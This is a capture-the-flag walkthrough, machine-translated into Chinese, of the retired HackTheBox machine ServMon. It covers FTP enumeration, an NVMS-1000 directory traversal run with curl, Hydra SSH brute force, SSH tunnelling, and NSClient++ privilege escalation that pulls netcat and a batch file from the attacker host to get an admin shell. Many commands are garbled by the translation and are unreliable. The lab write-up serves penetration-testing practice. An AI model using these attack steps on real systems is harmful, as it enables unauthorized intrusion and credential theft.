今天,我们将解决另一个名为“ ServMon”的“黑客挑战”挑战赛,该计算机属于已退休实验室的一部分,因此您可以使用HTB VPN连接到该计算机,然后开始解决CTF。这个实验室很简单。如果具有渗透测试的基本知识,那么解决该实验室并不困难。让我们开始学习如何破解它。
级别:简单
任务:在受害者的计算机上找到user.txt和root.txt文件。
渗透测试方法
侦察
- 地图
枚举
- 以匿名方式连接到FTP服务
- 浏览HTTP服务
开发
- 利用目录遍历
- 使用Hydra的Bruteforce
- SSH协议 协议 登录
- 枚举用户标志
特权提升
- 滥用NSClient
- 紧贴root.txt
演练
侦察
由于这些实验室在线,因此它们具有静态IP。 ServMon的IP为10.129.29.110,所以我们从nmap端口枚举开始。
从下面的给定图像中,我们可以观察到我们找到了端口 21、22、80、135、139、445、5666、6699、8443 是开放的。这意味着ftp,ssh,MSRP,smb等服务正在受害者的网络中运行。
1 |
纳帕 - 电脑 - sV 10.129.29.110 |
枚举
从上面的nmap扫描可以看出ftp允许匿名服务。因此,让我们通过匿名连接来枚举FTP服务。我们有一个名为Users的目录。在该目录中,我们找到了两个名为 纳丁 和 内森。现在我们进入名为Nadine的目录中,我们有一个扩展名为txt的文件 机密.txt。下载此txt文件后,我们进入了名为Nathan的目录,并找到了另一个扩展名为Notes的文件do.txt,然后我们在终端中快速下载了该文件。
1 2 3 4 5 6 7 8 9 10 |
ftp 10.129.29.110 ls 光盘 用户数 ls 光盘 纳丁 ls 得到 机密.文本文件 光盘 内森 ls 得到 笔记 至 做 .文本文件 |
将两个文件都下载到我们的终端后,我们退出了FTP,并决定查看这些文件。 机密.txt告诉我们Nathan桌面上已经保留了密码,并且do.txt文件的注释要求我们完成剩余的任务,并告诉我们有关NVMS,NSClient和SharePoint的三种服务。我们知道NVMS位于端口80之后,而NSClient位于端口8443之后。
有关更多详细信息,我们将需要针对主机启动枚举。因此,我们将导航到Web浏览器以探索HTTP服务。打开网页后,我们将获得一个名为nvms-1000的Web应用程序的主页。
开发
由于我们无法在初始枚举中获得证书。我们将必须找到一种不同的方法来访问NVMS-1000的授权登录面板。因此,我们使用searchsploit来搜索任何可用的漏洞利用。
1 |
searchsploit 虚拟机 |
这给了我们目录遍历漏洞。现在,使用searchsploit命令的-m参数下载此攻击脚本。
1 |
searchsploit -m 47774 |
现在,让我们阅读漏洞利用的内容,并了解漏洞利用的用法。
1 |
猫 47774.txt |
我们看到该漏洞告诉我们,这是TVT网络监视管理软件3.4.1版中存在的未经身份验证的目录遍历漏洞。 NVMS默认在端口80上进行监听。由于我们已经知道Nathan桌面上存在password.txt,因此我们现在尝试使用curl及其选项-path-as-is来提取Password.txt的内容,以便路径URL中提供的内容不会删除任何DOT段。
1 |
卷曲 http://10.129.29.110/../../../../../../../../../../../../users/Nathan/Desktop/Password.txt --path-as-is |
我们有两个用户Nadine和Nathan,现在我们的下一个工作是在hydra的帮助下为SSH登录暴力找到用户的密码。猜测密码的最佳方法是使用我们在Desktop 内森上找到的密码文件。
1 |
九头蛇 -L 使用者.文本文件 -P 密码.文本文件 10.129.29.110 ssh |
我们有一个用户名和密码,因此我们尝试访问目标系统上的SSH,因此我们能够成功登录。
1 |
ssh 纳丁@10.129.29.110 |
登录后,我们遍历用户的桌面以读取user.txt标志。
1 2 3 |
C:\用户数\纳丁> 光盘 桌面 C:\用户数\纳丁>目录 C:\用户数\纳丁>类型 用户.文本文件 |
特权提升
现在是时候升级实验室的权限了。现在,如果我们返回在ftp登录过程中发现的Notes文件,我们就会知道有NSClient可以使用该用户。接下来,我们枚举用户目录以查看Program 档案目录。
C:\ 程序文件目录
输入Program 档案后,我们找到了另一个有趣的目录NSClient,在ftp登录期间发现的Notes文件中提到了该目录。现在让’s深入NSClient目录。
1 2 |
C:\ 光盘 NSClient ++ C:\NSClient ++ >目录 |
在这里,我们发现了一个扩展名为.client的.ini文件,名称为nsclient.ini,它似乎包含某种基于文本的内容,这些内容对于我们移动很有用。它也可能包含某种用于Admin的密码,只是一个猜测。
1 |
C:\NSClient ++ >类型 nsclient.伊尼 |
是的,我们找到了密码哈希,下面对此进行了确认。
现在,如果我们回想起Nathan的do.txt注释,它谈到了锁定NSClient,因此在上面的屏幕快照中可以确认,该状态仅允许访问localhost(127.0.0.1)。 NSClient正在端口8443上工作,该端口已在localhost(127.0.0.1)上打开。
由于我们知道ssh已启用,因此我们可以执行Local ssh隧道,这将使我们的工作更加轻松。现在我们再次切换到Kali Linux进行本地隧道化。
执行以下命令将端口转发到本地计算机。
1 |
ssh -L 8443:127.0.0.1:8443 -N 纳丁@10.129.29.110 |
这将在我们的本地主机上打开端口8443,我们通过在浏览器中打开Web应用程序进行了确认。
因此,我使用在程序文件中找到的nsclinet.ini文件中的枚举详细信息登录。
现在,我们的下一个工作是为Windows下载netcat 64位。
现在,我们的下一个工作是创建一个批处理文件,该文件将启动 网络猫。我们将通过一个名为.bat的文件进行利用 利用.bat.
1 |
猫 利用.蝙蝠 |
现在,通过使用以下命令在目标PC上共享我们的exploit.bat文件来启动python服务器。
1 |
蟒蛇 -m SimpleHTTPServer |
下一个任务是将我们的exploit.bat上传到目标实验室的Temp文件夹中,我们将通过PowerShell进行此操作。我们的python服务器已经在后台运行。现在要上传目标计算机的.bat文件,请执行以下命令:
1 |
聚苯乙烯 C:\温度> iwr http://10.10.14.52:8000/exploit.bat -Outfile C:\Temp\exploit.bat |
从上面的屏幕截图中,可以确认exploit.bat文件已安全到达目标计算机。
下一步是使用netcat 贝壳作为管理员获得shell,因此我们的下一个工作是将netcat上传到目标计算机的Temp文件夹中。为此,请执行以下命令:
1 |
聚苯乙烯 C:\温度> iwr http://10.10.14.52:8000/nc64.exe -Outfile C:\Temp\nc.exe |
我们已经成功上传了我们的netcat,上面的屏幕截图对此进行了确认。接下来,我们将在设置中添加一个新部分,路径类似于/ settings / external scripts / scripts,现在将设置外壳的键值将为exploit.bat所在的路径赋值。
现在,我们通过在调度程序中添加新的部分来重复该过程,路径如下所示 / settings / scheduler。现在将键设置为shell并将value设置为 间隔= 1m 并添加更改。
保存所有更改后,我们将重新加载Web应用程序。
让我们等待脚本执行。 Boom,我们以管理员身份进入。
现在,我们在“ C:\ 程序 档案 \ NSClient ++ ”中枚举系统>”,我们找到了一个名为“ 根.txt”的文件。我们看一下文件的内容并找到最终标志。
1 |
C:\程序 档案\NSClient ++ > 类型 C:\用户数\管理员\桌面\根.文本文件 |
作者:Japneet Kaur Gandhi 是一名技术作家,研究员和渗透测试仪。 Contact 这里